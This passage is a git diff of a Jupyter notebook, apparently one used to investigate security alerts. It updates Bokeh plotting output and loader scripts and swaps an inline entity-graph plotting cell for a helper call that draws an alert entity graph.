auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"2201\"},{\"id\":\"2202\"},{\"id\":\"2203\"},{\"id\":\"2204\"},{\"id\":\"2205\"},{\"id\":\"2206\"},{\"id\":\"2215\"}]},\"id\":\"2208\",\"type\":\"Toolbar\"},{\"attributes\":{\"formatter\":{\"id\":\"2280\"},\"ticker\":{\"id\":\"2194\"}},\"id\":\"2193\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2295\",\"type\":\"Selection\"},{\"attributes\":{\"overlay\":{\"id\":\"2207\"}},\"id\":\"2203\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"axis\":{\"id\":\"2197\"},\"dimension\":1,\"ticker\":null},\"id\":\"2200\",\"type\":\"Grid\"},{\"attributes\":{\"text\":\"account: dbadmin\",\"text_font_size\":\"10pt\",\"x\":-1.144103185660663,\"x_offset\":5,\"y\":0.2843460947144634,\"y_offset\":5},\"id\":\"2235\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2292\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"2207\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2194\",\"type\":\"BasicTicker\"},{\"attributes\":{\"graph_layout\":{\"SCUBA_RULE_AccessCronJob\":[0.48658350501115627,0.92187450605479],\"account: dbadmin\":[-1.144103185660663,0.2843460947144634],\"file: /usr/bin/vim.basic\":[0.8694001556613657,-1.8565469854586654],\"host-logon-session\":[-0.744795975242901,1.4358770218722405],\"host: MSTICALERTSLXVM2\":[1.5618696384927213,1.9458964758920576],\"process: /usr/bin/vim.basic [0x51b3]\":[-0.11251387027264878,-0.7314471130748864],\"process: unknown [0x518a]\":[-0.9164402679890301,-1.9999999999999998]}},\"id\":\"2226\",\"type\":\"StaticLayoutProvider\"},{\"attributes\":{\"text\":\"process: unknown [0x518a]\",\"text_font_size\":\"10pt\",\"x\":-0.9164402679890301,\"x_offset\":5,\"y\":-1.9999999999999998,\"y_offset\":5},\"id\":\"2234\",\"type\":\"Label\"},{\"attributes\":{\"text\":\"Alert Entity graph\"},\"id\":\"2183\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2189\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2286\",\"type\":\"NodesOnly\"},{\"attributes\":{},\"id\":\"2291\",\"type\":\"NodesOnly\"},{\"attributes\":{\"data_source\":{\"id\":\"2219\"},\"glyph\":{\"id\":\"2227\"},\"hover_glyph\":null,\"muted_glyph\":null,\"view\":{\"id\":\"2221\"}},\"id\":\"2220\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2297\",\"type\":\"Selection\"},{\"attributes\":{\"end\":3,\"start\":-3},\"id\":\"2185\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"2201\",\"type\":\"PanTool\"},{\"attributes\":{\"callback\":null,\"tooltips\":[[\"node_type\",\"@node_type\"],[\"name\",\"@name\"],[\"description\",\"@description\"]]},\"id\":\"2215\",\"type\":\"HoverTool\"},{\"attributes\":{},\"id\":\"2296\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"text\":\"SCUBA_RULE_AccessCronJob\",\"text_font_size\":\"10pt\",\"x\":0.48658350501115627,\"x_offset\":5,\"y\":0.92187450605479,\"y_offset\":5},\"id\":\"2232\",\"type\":\"Label\"},{\"attributes\":{},\"id\":\"2298\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2191\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":\"process: /usr/bin/vim.basic [0x51b3]\",\"text_font_size\":\"10pt\",\"x\":-0.11251387027264878,\"x_offset\":5,\"y\":-0.7314471130748864,\"y_offset\":5},\"id\":\"2237\",\"type\":\"Label\"},{\"attributes\":{\"axis\":{\"id\":\"2193\"},\"ticker\":null},\"id\":\"2196\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2280\",\"type\":\"BasicTickFormatter\"}],\"root_ids\":[\"2182\"]},\"title\":\"Bokeh Application\",\"version\":\"2.2.2\"}};\n",
+ " var render_items = [{\"docid\":\"7b9eb957-d827-4d1c-b8b9-10682310f305\",\"root_ids\":[\"2182\"],\"roots\":{\"2182\":\"774f6f54-6218-4d2d-a4a1-6048605733d5\"}}];\n",
" root.Bokeh.embed.embed_items_notebook(docs_json, render_items);\n",
"\n",
" }\n",
@@ -948,42 +1204,17 @@
},
"metadata": {
"application/vnd.bokehjs_exec.v0+json": {
- "id": "7577"
+ "id": "2182"
}
},
"output_type": "display_data"
}
],
"source": [
- "import networkx as nx\n",
- "\n",
- "from bokeh.io import output_notebook, show\n",
- "from bokeh.plotting import figure, from_networkx\n",
- "from bokeh.models import Circle, HoverTool, Label\n",
- "\n",
- "node_attrs = {node: attrs[\"color\"] for node, attrs in alertentity_graph.nodes(data=True)}\n",
- "nx.set_node_attributes(alertentity_graph, node_attrs, \"node_color\")\n",
- "\n",
- "plot = figure(\n",
- " title=\"Alert Entity graph\", x_range=(-3, 3), y_range=(-3, 3), width=800\n",
- ")\n",
- "\n",
- "plot.add_tools(HoverTool(tooltips=[\n",
- " (\"node_type\", \"@node_type\"),\n",
- " (\"name\", \"@name\"),\n",
- " (\"description\", \"@description\")\n",
- "]))\n",
- "\n",
- "graph_renderer = from_networkx(alertentity_graph, nx.spring_layout, scale=2, center=(0,0))\n",
- "graph_renderer.node_renderer.glyph = Circle(size=25, fill_color=\"node_color\", fill_alpha=0.5)\n",
- "plot.renderers.append(graph_renderer)\n",
- "\n",
- "# Labels\n",
- "for name, pos in graph_renderer.layout_provider.graph_layout.items():\n",
- " label = Label(x=pos[0], y=pos[1], x_offset=5, y_offset=5, text=name, text_font_size=\"10pt\")\n",
- " plot.add_layout(label)\n",
- "\n",
- "show(plot)"
+ "utils.md(\"Visualize Entities\", \"large, bold\")\n",
+ "utils.md(\"The red circle is the alert object. Green circles are the related entities.\")\n",
+ "alertentity_graph = create_alert_graph(selected_alert)\n",
+ "nbdisplay.plot_entity_graph(alertentity_graph, width=800, node_size=15)"
]
},
{
@@ -1006,7 +1237,7 @@
},
{
"cell_type": "code",
- "execution_count": 36,
+ "execution_count": 12,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:41:05.543295Z",
@@ -1023,7 +1254,7 @@
},
{
"cell_type": "code",
- "execution_count": 37,
+ "execution_count": 13,
"metadata": {
"ExecuteTime": {
"end_time": "2020-08-25T19:41:07.412297Z",
@@ -1046,7 +1277,7 @@
{
"data": {
"application/vnd.jupyter.widget-view+json": {
- "model_id": "3a39857ed063416aa4d24a408440474b",
+ "model_id": "7a9a1793dac44384b376dea003f631ac",
"version_major": 2,
"version_minor": 0
},
@@ -1063,7 +1294,7 @@
"\n",
" \n",
"
\n",
- "
Loading BokehJS ... \n",
+ "
Loading BokehJS ... \n",
"
"
]
},
@@ -1233,7 +1464,7 @@
" \"\"}};\n",
"\n",
" function display_loaded() {\n",
- " var el = document.getElementById(\"8046\");\n",
+ " var el = document.getElementById(\"2411\");\n",
" if (el != null) {\n",
" el.textContent = \"BokehJS is loading...\";\n",
" }\n",
@@ -1299,7 +1530,7 @@
" document.body.appendChild(element);\n",
" }\n",
"\n",
- " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n",
+ " const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n",
"\n",
" for (var i = 0; i < js_urls.length; i++) {\n",
" var url = js_urls[i];\n",
@@ -1324,7 +1555,7 @@
" }\n",
"\n",
" \n",
- " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n",
+ " var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n",
" var css_urls = [];\n",
" \n",
"\n",
@@ -1353,7 +1584,7 @@
" console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n",
" root._bokeh_failed_load = true;\n",
" } else if (force !== true) {\n",
- " var cell = $(document.getElementById(\"8046\")).parents('.cell').data().cell;\n",
+ " var cell = $(document.getElementById(\"2411\")).parents('.cell').data().cell;\n",
" cell.output_area.append_execute_result(NB_LOAD_WARNING)\n",
" }\n",
"\n",
@@ -1370,7 +1601,7 @@
" }\n",
"}(window));"
],
- "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"8046\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\": \"kLr4fYcqcSpbuI95brIH3vnnYCquzzSxHPU6XGQCIkQRGJwhg0StNbj1eegrHs12\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\": \"xIGPmVtaOm+z0BqfSOMn4lOR6ciex448GIKG4eE61LsAvmGj48XcMQZtKcE/UXZe\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\": \"Dc9u1wF/0zApGIWoBbH77iWEHtdmkuYWG839Uzmv8y8yBLXebjO9ZnERsde5Ln/P\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\": \"cT9JaBz7GiRXdENrJLZNSC6eMNF3nh3fa5fTF51Svp+ukxPdwcU5kGXGPBgDCa2j\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.1.1.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-gl-2.1.1.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"8046\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
+ "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"\\n\"+\n \"
\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"
\\n\"+\n \"
\\n\"+\n \"re-rerun `output_notebook()` to attempt to load from CDN again, or \\n\"+\n \"use INLINE resources instead, as so: \\n\"+\n \" \\n\"+\n \"
\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"
\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"2411\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n const hashes = {\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\": \"JayppSWSRBsibIZqI8S4vAb1oFgLL0uhNvSn8cmArlOvYOwfFjYeyY5UWwJ+K0SU\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\": \"G0/Tv/Yy/zEPNsnW0Qif/FOsGesd+KIrKg/QLmvQmReuUW9qmSP7mAmr0VpiUNr3\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\": \"VLYHEbLQDk5G1+/4ALU0myoJPMEUsngWry2fzYorFOUmarjGRPLLURaeK/on6JqX\"};\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n if (url in hashes) {\n element.crossOrigin = \"anonymous\";\n element.integrity = \"sha384-\" + hashes[url];\n }\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.bokeh.org/bokeh/release/bokeh-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-widgets-2.2.2.min.js\", \"https://cdn.bokeh.org/bokeh/release/bokeh-tables-2.2.2.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"2411\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));"
},
"metadata": {},
"output_type": "display_data"
@@ -1384,7 +1615,7 @@
"\n",
"\n",
"\n",
- "
\n"
+ "
\n"
]
},
"metadata": {},
@@ -1396,8 +1627,8 @@
"(function(root) {\n",
" function embed_document(root) {\n",
" \n",
- " var docs_json = {\"f2335fdc-ff6b-4dad-b370-f3f9c49ee699\":{\"roots\":{\"references\":[{\"attributes\":{\"children\":[{\"id\":\"8049\"},{\"id\":\"8119\"}]},\"id\":\"8161\",\"type\":\"Row\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8079\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8082\",\"type\":\"Rect\"},{\"attributes\":{\"overlay\":{\"id\":\"8142\"}},\"id\":\"8138\",\"type\":\"BoxZoomTool\"},{\"attributes\":{\"below\":[{\"id\":\"8128\"}],\"center\":[{\"id\":\"8131\"},{\"id\":\"8135\"}],\"left\":[{\"id\":\"8132\"}],\"plot_height\":700,\"plot_width\":90,\"renderers\":[{\"id\":\"8154\"}],\"title\":{\"id\":\"8163\"},\"toolbar\":{\"id\":\"8143\"},\"toolbar_location\":null,\"x_range\":{\"id\":\"8120\"},\"x_scale\":{\"id\":\"8124\"},\"y_range\":{\"id\":\"8122\"},\"y_scale\":{\"id\":\"8126\"}},\"id\":\"8119\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{},\"id\":\"8171\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8081\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8082\"},\"selection_glyph\":null,\"view\":{\"id\":\"8084\"}},\"id\":\"8083\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"8139\",\"type\":\"SaveTool\"},{\"attributes\":{\"end\":19,\"start\":-2},\"id\":\"8054\",\"type\":\"Range1d\"},{\"attributes\":{\"overlay\":{\"id\":\"8157\"},\"x_range\":null,\"y_range\":{\"id\":\"8054\"}},\"id\":\"8156\",\"type\":\"RangeTool\"},{\"attributes\":{\"below\":[{\"id\":\"8060\"}],\"center\":[{\"id\":\"8063\"},{\"id\":\"8067\"},{\"id\":\"8092\"}],\"left\":[{\"id\":\"8064\"}],\"outline_line_color\":null,\"plot_height\":700,\"plot_width\":900,\"renderers\":[{\"id\":\"8083\"},{\"id\":\"8099\"},{\"id\":\"8106\"},{\"id\":\"8113\"}],\"title\":{\"id\":\"8050\"},\"toolbar\":{\"id\":\"8072\"},\"toolbar_location\":\"above\",\"x_range\":{\"id\":\"8052\"},\"x_scale\":{\"id\":\"8056\"},\"y_range\":{\"id\":\"8054\"},\"y_scale\":{\"id\":\"8058\"}},\"id\":\"8049\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"8115\",\"type\":\"FixedTicker\"},{\"attributes\":{},\"id\":\"8140\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.4},\"fill_color\":{\"field\":\"Account\",\"transform\":{\"id\":\"8048\"}},\"height\":{\"units\":\"data\",\"value\":0.95},\"line_color\":{\"value\":\"#1f77b4\"},\"width\":{\"units\":\"data\",\"value\":3.5},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8079\"}},\"y\":{\"field\":\"Row\"}},\"id\":\"8081\",\"type\":\"Rect\"},{\"attributes\":{\"ticks\":[1,2,3]},\"id\":\"8117\",\"type\":\"FixedTicker\"},{\"attributes\":{\"data_source\":{\"id\":\"8047\"},\"glyph\":{\"id\":\"8097\"},\"hover_glyph\":null,\"muted_glyph\":null,\"nonselection_glyph\":{\"id\":\"8098\"},\"selection_glyph\":null,\"view\":{\"id\":\"8100\"}},\"id\":\"8099\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"end\":6,\"start\":1},\"id\":\"8052\",\"type\":\"Range1d\"},{\"attributes\":{},\"id\":\"8141\",\"type\":\"HelpTool\"},{\"attributes\":{},\"id\":\"8120\",\"type\":\"DataRange1d\"},{\"attributes\":{\"text\":\"ProcessTree\"},\"id\":\"8050\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"8089\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":{\"id\":\"8156\"},\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"8136\"},{\"id\":\"8137\"},{\"id\":\"8138\"},{\"id\":\"8139\"},{\"id\":\"8140\"},{\"id\":\"8141\"},{\"id\":\"8156\"}]},\"id\":\"8143\",\"type\":\"Toolbar\"},{\"attributes\":{\"factors\":[\"MSTICAlertsWin1\\\\MSTICAdmin\",\"WORKGROUP\\\\MSTICAlertsWin1$\"],\"palette\":[\"#440154\",\"#208F8C\",\"#FDE724\"]},\"id\":\"8048\",\"type\":\"CategoricalColorMapper\"},{\"attributes\":{\"end\":19,\"start\":-1},\"id\":\"8122\",\"type\":\"Range1d\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8100\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"8090\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"range\":{\"id\":\"8052\"},\"value\":0.1},\"id\":\"8101\",\"type\":\"Dodge\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8084\",\"type\":\"CDSView\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":0.25},\"id\":\"8102\",\"type\":\"Dodge\"},{\"attributes\":{\"range\":{\"id\":\"8054\"},\"value\":0.25},\"id\":\"8109\",\"type\":\"Dodge\"},{\"attributes\":{},\"id\":\"8124\",\"type\":\"LinearScale\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8101\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"8102\"}}},\"id\":\"8104\",\"type\":\"Text\"},{\"attributes\":{},\"id\":\"8091\",\"type\":\"Selection\"},{\"attributes\":{\"active_drag\":\"auto\",\"active_inspect\":\"auto\",\"active_multi\":null,\"active_scroll\":\"auto\",\"active_tap\":\"auto\",\"tools\":[{\"id\":\"8068\"},{\"id\":\"8069\"},{\"id\":\"8070\"},{\"id\":\"8071\"},{\"id\":\"8077\"}]},\"id\":\"8072\",\"type\":\"Toolbar\"},{\"attributes\":{\"items\":[{\"id\":\"8093\"}],\"title\":\"Account\"},\"id\":\"8092\",\"type\":\"Legend\"},{\"attributes\":{},\"id\":\"8126\",\"type\":\"LinearScale\"},{\"attributes\":{\"formatter\":{\"id\":\"8171\"},\"ticker\":{\"id\":\"8129\"},\"visible\":false},\"id\":\"8128\",\"type\":\"LinearAxis\"},{\"attributes\":{\"axis\":{\"id\":\"8060\"},\"grid_line_alpha\":0.1,\"grid_line_color\":\"navy\",\"minor_grid_line_alpha\":0.1,\"minor_grid_line_color\":\"navy\",\"ticker\":{\"id\":\"8117\"}},\"id\":\"8063\",\"type\":\"Grid\"},{\"attributes\":{\"text\":{\"field\":\"Exe\"},\"text_alpha\":{\"value\":0.1},\"text_baseline\":\"middle\",\"text_color\":{\"value\":\"black\"},\"text_font_size\":{\"value\":\"8pt\"},\"x\":{\"field\":\"Level\",\"transform\":{\"id\":\"8101\"}},\"y\":{\"field\":\"Row\",\"transform\":{\"id\":\"8102\"}}},\"id\":\"8105\",\"type\":\"Text\"},{\"attributes\":{\"label\":{\"field\":\"Account\"},\"renderers\":[{\"id\":\"8083\"}]},\"id\":\"8093\",\"type\":\"LegendItem\"},{\"attributes\":{},\"id\":\"8169\",\"type\":\"BasicTickFormatter\"},{\"attributes\":{},\"id\":\"8056\",\"type\":\"LinearScale\"},{\"attributes\":{\"bottom_units\":\"screen\",\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"top_units\":\"screen\"},\"id\":\"8142\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"callback\":null},\"id\":\"8071\",\"type\":\"TapTool\"},{\"attributes\":{\"source\":{\"id\":\"8047\"}},\"id\":\"8155\",\"type\":\"CDSView\"},{\"attributes\":{},\"id\":\"8129\",\"type\":\"BasicTicker\"